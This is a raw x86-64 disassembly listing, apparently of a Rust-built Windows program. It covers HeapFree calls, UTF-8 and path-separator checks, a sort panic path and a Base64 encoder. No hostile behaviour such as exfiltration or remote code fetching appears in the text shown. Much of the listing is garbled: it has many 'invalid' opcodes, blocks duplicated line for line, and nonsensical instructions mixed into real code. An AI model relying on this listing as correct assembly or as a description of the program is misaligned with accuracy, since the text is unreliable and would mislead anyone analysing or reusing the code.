mov r8, qword [rsp + 0x38]
mov qword [r8 + 0x10], rdx
cmp rax, rcx
je 0x14004b3d4
neg rdi
shr rdi, 5
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004b529
add rsi, 0x20
dec rdi
je 0x14004b3d4
cmp qword [rsi], 0
je 0x14004b51c
add byte [rbp + rbp*8 + 0x4c], dh
mov eax, dword [rsi - 8]
mov r8, qword [rsi - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call rbx
jmp 0x14004b51c
add byte [rax], al
mov ecx, dword [rsp + 0x54]
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rcx - 0x77], cl
fld1
insd dword [rdi], dx
out 0xff, eax
dec dword [rax - 0x7b]
dec dword [rbx + 0x7454247c]
invalid
and al, 0x88
add byte [rax], al
add byte [rcx - 0x77], cl
fld1
insd dword [rdi], dx
out 0xff, eax
dec dword [rax - 0x7b]
dec dword [rbx + 0x7454247c]
adc cl, byte [rax - 0x75]
or eax, 0xa4c7d
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], 0
lea r8, str....
lea r9, [0x1400e0e8a]
mov rcx, rbp
mov dl, 1
call fcn.14004b8f0
test al, al
jne 0x14004a9ac
mov qword [rsp + 0x20], 2
lea r9, str....
or eax, 0x9589d
or eax, 0x9589d
lea rcx, [rsp + 0x230]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x58]
call fcn.140081510
mov r8, qword [rsp + 0x80]
add byte [rax], al
add byte [rax], al
cmp rbx, r8
jne 0x14004b66c
mov rsi, qword [rsp + 0x38]
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
jne 0x14004b62a
mov rcx, rsi
call fcn.14004c710
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi]
lea rcx, [rdx + rdx*2]
shl rcx, 4
mov qword [rax + rcx], 0
movups xmm0, xmmword [rsp + 0x230]
movups xmm1, xmmword [rsp + 0x240]
movups xmmword [rax + rcx + 8], xmm0
adc dword [rax + rcx + 8], eax
adc dword [rax + rcx + 8], eax
movups xmmword [rax + rcx + 0x18], xmm1
mov qword [rax + rcx + 0x28], 0xffffffffffffffff
invalid
invalid
dec dword [rax - 1]
ret 0x8948
push rsi
adc cl, ch
invalid
invalid
invalid
invalid
invalid
mov rsi, qword [rsp + 0x230]
mov rax, qword [rsp + 0x240]
add al, byte [rax]
add byte [rax - 0x75], cl
mov esp, 0x23824
add byte [rbx - 0x76abdbb4], cl
and al, 0x30
add al, byte [rax]
add byte [rax - 0x75], cl
mov esp, 0x23824
add byte [rbx - 0x76abdbb4], cl
and al, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x88]
mov r9, rbx
call fcn.140049d00
test rdi, rdi
je 0x14004a9ac
invalid
invalid
dec dword [rax - 0x7b]
dec dword [rdi]
test al, bh
invalid
invalid
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004a9ac
lea r8, [0x1400d8488]
mov rcx, r9
mov rdx, qword [rsp + 0x80]
add byte [rax], 0
add al, ch
invalid
invalid
invalid
add byte [rdi], cl
invalid
add byte [rax], 0
add al, ch
lea r8, [0x1880fc5e5]
add eax, 0x480b0f00
add eax, 0x480b0f00
lea eax, [0x1400e5d70]
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x238], 1
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x9a67a
jp 0x14004b6aa
or dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rdi], ah
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x9a67a
jp 0x14004b6aa
or dword [rax], eax
jp 0x14004b6aa
or dword [rax], eax
mov qword [rsp + 0x240], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x248], xmm0
adc dword [rsp + 0x248], eax
adc dword [rsp + 0x248], eax
lea rdx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
jmp 0x14004b75e
cmpsb byte [rsi], byte [rdi]
or dword [rax], eax
mov qword [rsp + 0x240], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x248], xmm0
lea rdx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
or dword [rax], eax
or dword [rax], eax
lea rcx, [rsp + 0x230]
call fcn.1400a4370
ud2
call fcn.1400a4780
ud2
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
nop
cmpsb byte [rsi], byte [rdi]
or dword [rax], eax
mov rcx, r13
mov rdx, qword [rsp + 0x60]
call fcn.1400a44b0
ud2
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x9aa08
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
cmpsb byte [rsi], byte [rdi]
or dword [rax], eax
invalid
cmpsb byte [rsi], byte [rdi]
or dword [rax], eax
invalid
add byte [rdx + 0x2b], bh
mov edx, 0x2b
call fcn.1400a4530
ud2
lea eax, [eip + 0x4c0b0f00]
lea eax, [0x1400e5ec0]
mov rcx, rdi
mov rdx, qword [rsp + 0x90]
and al, 0x90
add byte [rax], al
invalid
and al, 0x90
add byte [rax], al
add al, ch
call fcn.1400a4780
ud2
invalid
out 5, eax
invalid
call fcn.1400a4780
ud2
mov rcx, rdi
call fcn.1400a4780
ud2
invalid
or ecx, dword [rbp + rcx*4 + 5]
retf 0x9a5
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x9a9a0
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
jmp 0x14004b7bf
or dword [rax], eax
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
jmp 0x14004b7bf
invalid
xchg ah, cl
int3
mov eax, edx
mov rdx, rcx
lea rcx, [rsp + 0x28]
call fcn.14007f910
cmp dword [rsp + 0x28], 2
jne 0x14004b8b8
mov rax, qword [rsp + 0x30]
and al, 0x30
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14004b8cf
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
invalid
mov rcx, rdi
call qword [rbx]
invalid
cmp qword [rbx + 8], 0
je 0x14004b8a2
add eax, 0xd8b4800
ja fcn.14004b8f0
add byte [rax - 0x75], cl
or eax, 0xa4977
or al, byte [rax]
xor edi, edi
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x5da7a
push qword [rcx]
ror byte [rcx - 0x77], cl
invalid
adc eax, 0x5da7a
jmp 0x14004b8d9
mov edi, dword [rsp + 0x68]
test edi, 0x400
je 0x14004b8d3
mov eax, 0x20000000
and eax, dword [rsp + 0x6c]
and al, 0x6c
je 0x14004b8d3
xor edi, edi
jmp 0x14004b8d9
and edi, 0x10
shr edi, 4
mov eax, edi
clc
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
int3
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov r12d, edx
mov r15, rcx
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [r15 + 0x28]
cmp rdx, rcx
retf 0x820f
imul eax, dword [rax + rax], 0
mov rsi, r9
mov rdi, r8
jne case.0x1400402b0.230
cmp rdi, rsi
cmp edi, esi
je 0x14004bd6a
mov r13b, 1
jmp 0x14004bd72
mov r9d, dword [rsp + 0xb8]
mov rax, qword [r15 + 0x18]
shl rdx, 5
add rdx, rax
mov r14, rcx
shl r14, 5
add r14, rax
inc rcx
mov qword [rsp + 0x38], rcx
xor ebx, ebx
mov qword [rsp + 0x40], rdx
mov eax, dword [r14]
mov ecx, eax
rol dword [rbx - 0x67cf91f], 2
jne 0x14004bb00
mov edx, r12d
and dl, 1
mov rax, qword [rsp + 0x38]
lea rbp, [rax + rbx]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], rbp
mov rcx, r15
mov r8, rdi
mov r9, rsi
call fcn.14004b8f0
cmp al, 1
jne 0x14004bd6f
cmp rdi, rsi
je case.0x140047968.68
mov r9d, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0xb8]
jmp 0x14004ba03
mov eax, r9d
shr eax, 8
enter 0xffffffffffffe8c1, 8
test al, r12b
jne 0x14004bd72
mov dword [rsp + 0x28], r9d
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rbp
mov rcx, r15
mov edx, r12d
mov r8, rdi
mov r9, rsi
int1
call fcn.14004b8f0
mov r9d, dword [rsp + 0xb8]
cmp al, 1
jne 0x14004bd6f
cmp rdi, rsi
je 0x14004bd17
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rdi + rcx - 0x4a], al
invalid
movzx r8d, byte [rdi]
movzx eax, r8b
test al, al
js 0x14004ba20
inc rdi
inc edi
jmp 0x14004ba90
mov ecx, eax
and ecx, 0x1f
movzx r10d, byte [rdi + 1]
and r10d, 0x3f
cmp al, 0xdf
jbe 0x14004ba6a
movzx eax, byte [rdi + 3]
add rdi, 4
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
jne 0x14004ba90
jmp 0x14004bd33
mov r13b, 1
test r12b, 1
je 0x14004baad
mov ecx, r9d
and ecx, 0x10000
je 0x14004baad
cmp eax, 0x2e
je 0x14004bd72
cmp eax, 0x7f
ja case.0x140046e3e.179
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete r12b
xchg esp, eax
sar dword [rsp + rbx*2], 0x41
sete ah
or r12b, cl
jmp 0x14004bad3
xor r12d, r12d
mov eax, dword [r14]
cmp rax, 2
je 0x14004b9c0
invalid
invalid
invalid
invalid
cmp eax, 3
jne 0x14004b9cf
invalid
mov r13b, 2
cmp rdi, rsi
je 0x14004bd72
movzx r11d, byte [rdi]
movzx r8d, r11b
test r8b, r8b
ror byte [rdi], 0x88
scasd eax, dword [rdi]
add byte [rax], al
invalid
ror byte [rdi], 0x88
scasd eax, dword [rdi]
add byte [rax], al
add byte [rax - 1], cl
mov dword [rcx - 0x80], 0x940f2ff8
rol dword [rcx - 0x80], 0xf8
pop rsp
inc rdi
cmp r8b, 0x2f
sete cl
cmp r8b, 0x5c
sete bpl
or bpl, cl
lea rcx, [0x1400e6fd0]
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp al, 0x2f
je 0x14004bd30
movzx ecx, al
cmp ecx, 0x5c
je 0x14004bd30
add byte [rax], al
add byte [rax], al
test r9b, 1
jne 0x14004bd1c
mov ecx, eax
or ecx, r8d
cmp ecx, 0x7f
ja 0x14004bd1c
lea ecx, [r8 - 0x41]
mov edx, r8d
xor edx, 0x20
and byte [rbx + 0xf411af9], al
ror byte [r13 - 0x76be40b8], 1
rol byte [rcx - 0x7d], 0xf0
and byte [rbx + 0xf441af9], al
rol byte [r9 + r15 - 0x3e], 0xf
test byte [rcx + 1], bh
add byte [rax], al
jmp 0x14004b92c
mov rdi, rsi
mov r9d, dword [rsp + 0xb8]
jmp 0x14004bd33
mov ecx, r8d
and ecx, 0x1f
movzx r10d, byte [rdi + 1]
and r10d, 0x3f
cmp r8b, 0xdf
jbe 0x14004bcff
movzx edx, byte [rdi + 2]
shl r10d, 6
and edx, 0x3f
or edx, r10d
cmp r11b, 0xf0
sti
invalid
jb 0x14004bd4d
movzx r8d, byte [rdi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and r8d, 0x3f
or r8d, edx
or r8d, ecx
cmp r8d, 0x110000
add byte [rax], al
adc dword [rax], eax
enter 0xffffffffffff8141, 0xfffffffffffffff8
add byte [rax], al
adc dword [rax], eax
je 0x14004bd72
add rdi, 4
cmp r8d, 0x7f
jbe 0x14004bb20
invalid
invalid
jmp 0x14004bd63
mov ch, 1
test al, bpl
jne 0x14004bd72
test r12b, 1
je 0x14004bd30
mov eax, r9d
and eax, 0x10000
je 0x14004bd30
add byte [rax], al
mov rcx, qword [r14 + 8]
mov rdx, qword [r14 + 0x18]
call fcn.14004bdb0
mov r9d, dword [rsp + 0xb8]
test al, al
jne 0x14004bd30
jmp 0x14004bd72
add rdi, 2
shl ecx, 6
or ecx, r10d
mov r8d, ecx
cmp r8d, 0x7f
ja 0x14004bd63
jmp 0x14004bb20
cmp r8d, eax
jne 0x14004b92c
nop word cs:[rax + rax]
mov r12d, ebp
add r14, 0x20
inc rbx
mov rdx, qword [rsp + 0x40]
cmp r14, rdx
jne 0x14004b960
jmp 0x14004b923
add rdi, 3
shl ecx, 0xc
or edx, ecx
mov r8d, edx
cmp r8d, 0x7f
jbe 0x14004bb20
xor ebp, ebp
jmp 0x14004bb32
xor r13d, r13d
jmp 0x14004bd72
mov r13d, eax
mov eax, r13d
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x1400d8458]
call fcn.1400a43b0
ud2
mov rax, rsi
mov rdx, rdi
movaps xmm6, xmmword [rsp + 0x40]
movaps xmm7, xmmword [rsp + 0x50]
movaps xmm8, xmmword [rsp + 0x60]
movaps xmm9, xmmword [rsp + 0x70]
movaps xmm10, xmmword [rsp + 0x80]
movaps xmm11, xmmword [rsp + 0x90]
movaps xmm12, xmmword [rsp + 0xa0]
movaps xmm13, xmmword [rsp + 0xb0]
movaps xmm14, xmmword [rsp + 0xc0]
movaps xmm15, xmmword [rsp + 0xd0]
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movdqu xmm8, xmmword [r15]
movq xmm7, qword [r15 + 0x10]
movdqa xmm4, xmmword [0x1400a9640]
movdqa xmm3, xmm4
pandn xmm3, xmm7
movdqa xmm6, xmm8
pand xmm6, xmm4
por xmm6, xmm3
pxor xmm0, xmm0
punpcklbw xmm6, xmm0
movdqa xmm3, xmmword [0x1400a9650]
pand xmm6, xmm3
movdqa xmm10, xmm8
punpckhbw xmm10, xmm0
pandn xmm3, xmm10
por xmm3, xmm6
pshufd xmm3, xmm3, 0xd8
pshufhw xmm3, xmm3, 0x6c
pshufd xmm3, xmm3, 0x6c
pshuflw xmm3, xmm3, 0x6c
pshufhw xmm3, xmm3, 0xc6
packuswb xmm3, xmm3
movdqa xmm11, xmmword [0x1400a9660]
movdqa xmm6, xmm11
pandn xmm6, xmm7
movdqa xmm4, xmm8
pand xmm4, xmm11
por xmm4, xmm6
punpcklbw xmm4, xmm0
movdqa xmm6, xmmword [0x1400a9670]
pand xmm4, xmm6
pandn xmm6, xmm10
por xmm6, xmm4
pshuflw xmm4, xmm6, 0xc6
pshufhw xmm4, xmm4, 0xc6
pshufd xmm4, xmm4, 0x6c
pshuflw xmm4, xmm4, 0x39
jo 0x14005dcdc
cmp ebx, esi
pshufw mm6, mm4, 0x39
jo 0x14005dcdc
cmp ebx, esi
pshufw mm6, mm4, 0x39
packuswb xmm6, xmm6
movdqa xmm11, xmmword [0x1400a9680]
movdqa xmm4, xmm11
pandn xmm4, xmm7
pand xmm8, xmm11
por xmm8, xmm4
punpcklbw xmm8, xmm0
movdqa xmm4, xmmword [0x1400a9690]
pand xmm8, xmm4
pandn xmm4, xmm10
por xmm4, xmm8
pshufd xmm4, xmm4, 0x27
pshufhw xmm4, xmm4, 0x6c
pshufd xmm4, xmm4, 0x27
pshuflw xmm4, xmm4, 0xc6
pshufhw xmm4, xmm4, 0xc6
packuswb xmm4, xmm4
punpcklbw xmm3, xmm0
punpcklbw xmm6, xmm0
punpcklbw xmm4, xmm0
movdqa xmm8, xmm3
psrlw xmm8, 2
movdqa xmm12, xmmword [str.________]
movdqa xmm7, xmm12
psubw xmm7, xmm8
psrlw xmm7, 8
psrlw mm7, 8
psrlw mm7, 8
pand xmm7, xmm9
movdqa xmm14, xmmword [0x1400a96c0]
movdqa xmm10, xmm14
psubw xmm10, xmm8
shl byte [rsi + 0x41], 1
psrlw mm2, 8
shl byte [rsi + 0x41], 1
psrlw mm2, 8
pand xmm10, xmm5
movdqa xmm15, xmmword [str.33333333]
movdqa xmm11, xmm15
psubw xmm11, xmm8
psrlw xmm11, 8
pand xmm11, xmm13
paddw xmm11, xmm10
movdqa xmm0, xmmword [0x1400a9700]
movdqa xmm10, xmm0
psubw xmm10, xmm8
psrlw xmm10, 8
pand xmm10, xmm2
paddw xmm10, xmm8
paddw xmm10, xmm11
movdqa xmm1, xmmword [str.AAAAAAAA00000000________________]
paddw xmm7, xmm1
paddw xmm7, xmm10
psllw xmm3, 4
pand xmm3, xmmword [0x1400a9730]
movdqa xmm8, xmm6
psrlw xmm8, 4
por xmm8, xmm3
movdqa xmm3, xmm12
psubw xmm3, xmm8
psrlw xmm3, 8
pand xmm3, xmm9
movdqa xmm10, xmm14
psubw xmm10, xmm8
psrlw xmm10, 8
pand xmm10, xmm5
movdqa xmm11, xmm15
psubw xmm11, xmm8
psrlw xmm11, 8
pand xmm11, xmm13
paddw xmm11, xmm10
movdqa xmm10, xmm0
psubw xmm10, xmm8
psrlw xmm10, 8
pand xmm10, xmm2
paddw xmm10, xmm8
paddw xmm10, xmm11
paddw xmm3, xmm1
paddw xmm3, xmm10
psllw xmm6, 2
pand xmm6, xmmword [0x1400a9740]
movdqa xmm8, xmm4
psrlw xmm8, 6
por xmm8, xmm6
movdqa xmm6, xmm12
movq mm6, mm4
movq mm6, mm4
psubw xmm6, xmm8
psrlw xmm6, 8
pand xmm6, xmm9
movdqa xmm10, xmm14
psubw xmm10, xmm8
shl byte [rsi + 0x41], 1
psrlw mm2, 8
shl byte [rsi + 0x41], 1
psrlw mm2, 8
pand xmm10, xmm5
movdqa xmm11, xmm15
psubw xmm11, xmm8
psrlw xmm11, 8
pand xmm11, xmm13
paddw xmm11, xmm10
movdqa xmm10, xmm0
movq mm2, mm0
movq mm2, mm0
psubw xmm10, xmm8
psrlw xmm10, 8
pand xmm10, xmm2
paddw xmm10, xmm8
paddw xmm10, xmm11
paddw xmm6, xmm1
paddw xmm6, xmm10
pand xmm4, xmmword [0x1400a9750]
psubw xmm12, xmm4
psrlw xmm12, 8
or byte [rsi + 0x45], ah
pand mm4, mm1
or byte [rsi + 0x45], ah
pand mm4, mm1
psubw xmm14, xmm4
psrlw xmm14, 8
or byte [rsi + 0x44], ah
pand mm6, mm5
or byte [rsi + 0x44], ah
pand mm6, mm5
psubw xmm15, xmm4
psrlw xmm15, 8
pand xmm15, xmm13
paddw xmm15, xmm14
paddw mm7, mm6
paddw mm7, mm6
psubw xmm0, xmm4
psubw mm0, mm4
psrlw xmm0, 8
pand xmm0, xmm2
paddw xmm0, xmm4
paddw xmm0, xmm15
paddw xmm12, xmm1
paddw xmm12, xmm0
paddw mm4, mm0
paddw mm4, mm0
movdqa xmm0, xmmword [0x1400a9760]
pand xmm3, xmm0
add byte [rsi + 0xf], ah
fcmovnu st(0), st(0)
pand xmm7, xmm0
packuswb xmm7, xmm3
pand xmm6, xmm0
pand xmm12, xmm0
packuswb xmm6, xmm12
movdqa xmm3, xmm6
pxor xmm0, xmm0
punpckhbw xmm3, xmm0
punpcklbw xmm6, xmm0
pxor xmm1, xmm1
movdqa xmm4, xmm6
punpcklwd xmm4, xmm3
pshufd xmm8, xmm4, 0xfa
jo 0x14005df78
cli
jo 0x14005df78
cli
pshufd xmm4, xmm4, 0x50
pshufw mm4, mm4, 0x50
packuswb xmm4, xmm8
movdqa xmm0, xmmword [0x1400a9770]
movdqa xmm8, xmm0
pandn xmm8, xmm4
pandn mm0, mm4
pandn mm0, mm4
movdqa xmm4, xmm7
punpckhbw xmm4, xmm1
punpcklbw xmm7, xmm1
punpcklbw mm7, mm1
movdqa xmm10, xmm7
punpcklwd xmm10, xmm4
pshufd xmm11, xmm10, 0xf6
pshufd xmm10, xmm10, 0xd4
packuswb xmm10, xmm11
pand xmm10, xmm0
por xmm10, xmm8
punpckhwd xmm6, xmm3
pshufd xmm3, xmm6, 0xfa
pshufd xmm6, xmm6, 0x50
packuswb xmm6, xmm3
movdqu xmm3, xmm0
movdqu xmm3, xmm0
pandn xmm3, xmm6
punpckhwd xmm7, xmm4
pshufd xmm4, xmm7, 0xf6
pshufd xmm6, xmm7, 0xd4
invalid
packuswb xmm6, xmm4
pand xmm6, xmm0
por xmm6, xmm3
movdqu xmmword [rsi + r11*4 + 0x10], xmm6
movdqu xmmword [rsi + r11*4 + 0x10], xmm6
je 0x14005dfda
adc bl, dh
movq qword [rsi + r11*4], mm2
sahf
movdqu xmmword [rsi + r11*4], xmm10
sahf
add r11, 8
add r15, 0x18
cmp rcx, r11
jne 0x14005dc40
invalid
invalid
invalid
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x38], r14
nop
test rax, rax
je 0x14005db26
add edx, 0xfffffffd
lea r15, [r10 + 4]
add rax, 0xfffffffffffffffc
movzx ebp, byte [r9]
movzx r11d, byte [r9 + 1]
movzx ebx, byte [rcx + 1]
movzx ecx, byte [r9 + 2]
mov r13d, ebp
shr r13d, 2
mov r12d, 0x3e
sub r12d, r13d
shr r12d, 8
and r12d, 3
mov r8d, 0x3d
add byte [rax], al
add byte [rbp + 0x29], al
call 0x148eea1e9
add byte [rax], al
add byte [rbp + 0x29], al
call 0x148eea1e9
and r8d, 0xf1
mov r14d, 0x33
sub r14d, r13d
sub esi, ebp
sub esi, ebp
shr r14d, 8
shr esi, 8
and r14d, 0xb5
add r14d, r8d
mov r8d, 0x19
sub r8d, r13d
call 0x148eea214
out 0xb5, al
add byte [rax], al
add byte [rbp + 1], al
mov byte [rcx - 0x48], 0x19
add byte [rax], al
add byte [rbp + 0x29], al
call 0x148eea214
call 0x1208921de
invalid
and r8d, 6
add r8d, r13d
add r8d, r14d
add r8d, r12d
add eax, esp
add r8b, 0x41
mov byte [r10], r8b
add al, cl
in eax, 4
invalid
add al, cl
in eax, 4
invalid
add al, 0x83
in eax, 0x30
and ebp, 0x30
mov r12d, r11d
mov esp, ebx
shr r12d, 4
or r12d, ebp
mov ebp, 0x3e
add byte [rax], al
add byte [rcx + rbp - 0x1b], al
in eax, 0xc1
in eax, dx
or byte [rbx - 0x47befc1b], al
mov eax, 0x3d
sub r8d, r12d
in eax, 0xc1
in eax, dx
or byte [rbx - 0x47befc1b], al
mov eax, 0x3d
sub r8d, r12d
shr r8d, 8
and r8d, 0xf1
add byte [rax], al
add byte [rcx - 0x42], al
xor eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x42], al
xor eax, dword [rax]
add byte [rax], al
sub r14d, r12d
shr r14d, 8
and r14d, 0xb5
add r14d, r8d
mov r8d, 0x19
sub r8d, r12d
shr r8d, 8
and r8d, 6
add r8d, r12d
add r8d, r14d
add r8d, ebp
add r8b, 0x41
mov byte [r10 + 1], r8b
and r11d, 0xf
mov r8d, ecx
shr r8d, 6
lea r8d, [r8 + r11*4]
mov r11d, 0x3e
add byte [rax], al
add byte [rax], al
sub r11d, r8d
shr r11d, 8
and r11d, 3
mov ebp, 0x3d
sub ebp, r8d
shr ebp, 8
and ebp, 0xf1
mov r14d, 0x33
xor eax, dword [rax]
add byte [rax], al
sub r14d, r8d
sub esi, eax
sub esi, eax
shr r14d, 8
and r14d, 0xb5
add byte [rax], al
add byte [rax], al
add r14d, ebp
mov ebp, 0x19
add byte [rcx + rbp - 0x3b], al
shr ebp, 8
and ebp, 6
add ebp, r8d
add ebp, r14d
add ebp, r11d
add bpl, 0x41
mov byte [r10 + 2], bpl
and ecx, 0x3f
mov r11d, 0x3e
add byte ds:[rax], al
add byte [rcx + 0x29], al
retf
shr r11d, 8
shr ebx, 8
and r11d, 3
mov r8d, 0x3d
sub r8d, ecx
shr r8d, 8
and r8d, 0xf1
mov ebp, 0x33
add byte ds:[rax], al
add byte [rcx + 0x29], al
retf
sub ebp, ecx
shr ebp, 8
and ebp, 0xb5
add ebp, r8d
mov r8d, 0x19
sub r8d, ecx
shr r8d, 8
and r8d, 6
add r8d, ecx
add r8d, ebp
add r8d, r11d
add r8b, 0x41
mov byte [r10 + 3], r8b
add r9, 3
mov r10, r15
cmp rdx, 2
ja 0x14005e060
mov r14, qword [rsp + 0x38]
mov r8, qword [rsp + 0x30]
cmp rax, 4
jb 0x14005db26
invalid
sub rbx, r8
add r14, r8
mov r8, rbx
xor r8, 3
xor eax, 3
lea rcx, [rsp + rbx]
or al, 0x1c
or al, 0x1c
add rcx, 0x2d
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add al, 0
lea rcx, [rsp + 0x2d]
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add al, 0
add al, 0
movzx r11d, byte [rsp + 0x2d]
movzx r9d, byte [rsp + 0x2e]
movzx r10d, byte [rsp + 0x2f]
mov r14d, r11d
shr r14d, 2
mov ecx, 0x3e
mov ebp, 0x3e
sub ebp, r14d
shr ebp, 8
and ebp, 3
mov eax, 0x3d
mov r8d, 0x3d
sub r8d, r14d
shr r8d, 8
and r8d, 0xf1
mov edx, 0x33
mov r12d, 0x33
sub r12d, r14d
shr r12d, 8
and r12d, 0xb5
add r12d, r8d
mov r8d, 0x19
mov r13d, 0x19
sub r13d, r14d
shr r13d, 8
and r13d, 6
add r13d, r14d
add r13d, r12d
add r13d, ebp
add r13b, 0x41
mov byte [r15], r13b
shl r11d, 4
and r11d, 0x30
mov ebp, r9d
shr ebp, 4
or ebp, r11d
mov r11d, 0x3e
sub r11d, ebp
shr r11d, 8
and r11d, 3
mov r14d, 0x3d
sub r14d, ebp
shr r14d, 8
and r14d, 0xf1
mov r12d, 0x33
add byte [rcx + 0x29], al
in al, dx
add byte ds:[rax], al
add byte [rcx + 0x29], al
jmp 0x14005e34b
add byte [rcx + 0x29], al
in al, dx
shr r12d, 8
and r12d, 0xb5
add r12d, r14d
mov r14d, 0x19
sub r14d, ebp
shr r14d, 8
and r14d, 6
out 6, al
add r14d, ebp
add r14d, r12d
out 0x45, al
add esi, ebx
out 0x45, al
add esi, ebx
add r14b, 0x41
mov byte [r15 + 1], r14b
and r9d, 0xf
shr r10d, 6
lea r9d, [r10 + r9*4]
sub ecx, r9d
shr ecx, 8
and ecx, 3
mov r10d, 0x3d
sub r10d, r9d
shr r10d, 8
and r10d, 0xf1
add byte [rcx + rbp - 0x36], al
add byte [rcx + rbp - 0x36], al
shr edx, 8
and edx, 0xb5
add edx, r10d
loop 0x14005e345
add byte [rax], al
add byte [rcx + rax - 0x2e], al
sub r8d, r9d
shr r8d, 8
and r8d, 6
add r8d, r9d
add r8d, edx
add r8d, ecx
add r8b, 0x41
enter 0xffffffffffff8041, 0xffffffffffffffc0
cmp rbx, 1
cmp rbx, 1
cmp rbx, 1
movzx ecx, r8b
cmove ecx, eax
mov byte [r15 + 2], cl
mov byte [r15 + 3], 0x3d
jmp 0x14005db26
mov eax, dword [rcx]
xor ecx, ecx
cmp byte [rax], 0
sete cl
lea r8, [rcx + rcx + 0x15]
lea rcx, [0x1400ce605]
or eax, 0x7021e
lea rax, str.invalid_Base64_lengthinvalid_Base64_encodingInvalidEncodingInvalidLength
cmove rax, rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
ror byte [rax - 0x75], 1
or dword [rax - 0x75], ecx
adc dword [rbx + rcx*4 + 0x41], ecx
or byte [rax - 0x77], cl
shr ecx, 0x3b
cli
std
dec esp
int3
int3
jmp 0x14005e678
add al, 0x89
invalid
mov eax, ecx
inc eax
sete r10b
cmp eax, 0x10000000
setae r9b
or r9b, r10b
cmp r8, rcx
jne 0x14005e68e
test r9b, r9b
jne 0x14005e693
mov r8d, dword [rdx + 0x10]
mov byte [rdx + 0x1c], 1
shl rax, 0x20
mov edx, 3
or rdx, rax
mov r9d, r8d
mov r8d, 1
mov eax, ecx
mov dword [rsi], r8d
mov dword [rsi + 4], eax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], r9
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
test r9b, r9b
je 0x14005e6a0
xor r8d, r8d
mov edx, 0xc
jmp 0x14005e5d4
mov r8, qword [rdx]
mov dword [rdx + 0x18], eax
movzx eax, byte [r8 + rcx]
mov byte [rdi], al
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], 1
mov dword [rsi], 2
jmp 0x14005e686
mov dh, 0xdb
cmp r11d, 0xff
jne 0x14005e72f
mov dword [rdx + 0xc], r10d
mov dword [rcx], 2
jmp 0x14005e72d
pop rsi
ret
mov rdx, qword [rdx]
mov edx, dword [rdx + 0x18]
add r8d, edx
setb r10b
cmp r8d, 0xfffffff
ja 0x14005e77c
test r10b, r10b
jne 0x14005e77c
xor r10d, r10d
sub eax, r9d
cmovb eax, r10d
add eax, edx
setb r9b
cmp eax, 0xfffffff
ja 0x14005e78c
test r9b, r9b
leave
jne 0x14005e78c
mov byte [rcx + 8], 3
mov dword [rcx + 0xc], r8d
mov dword [rcx + 0x10], eax
mov dword [rcx], 1
mov dword [rcx + 4], edx
jmp 0x14005e72d
mov byte [rcx + 8], 0xc
mov dword [rcx], 0
mov dword [rcx + 4], r8d
jmp 0x14005e72d
invalid
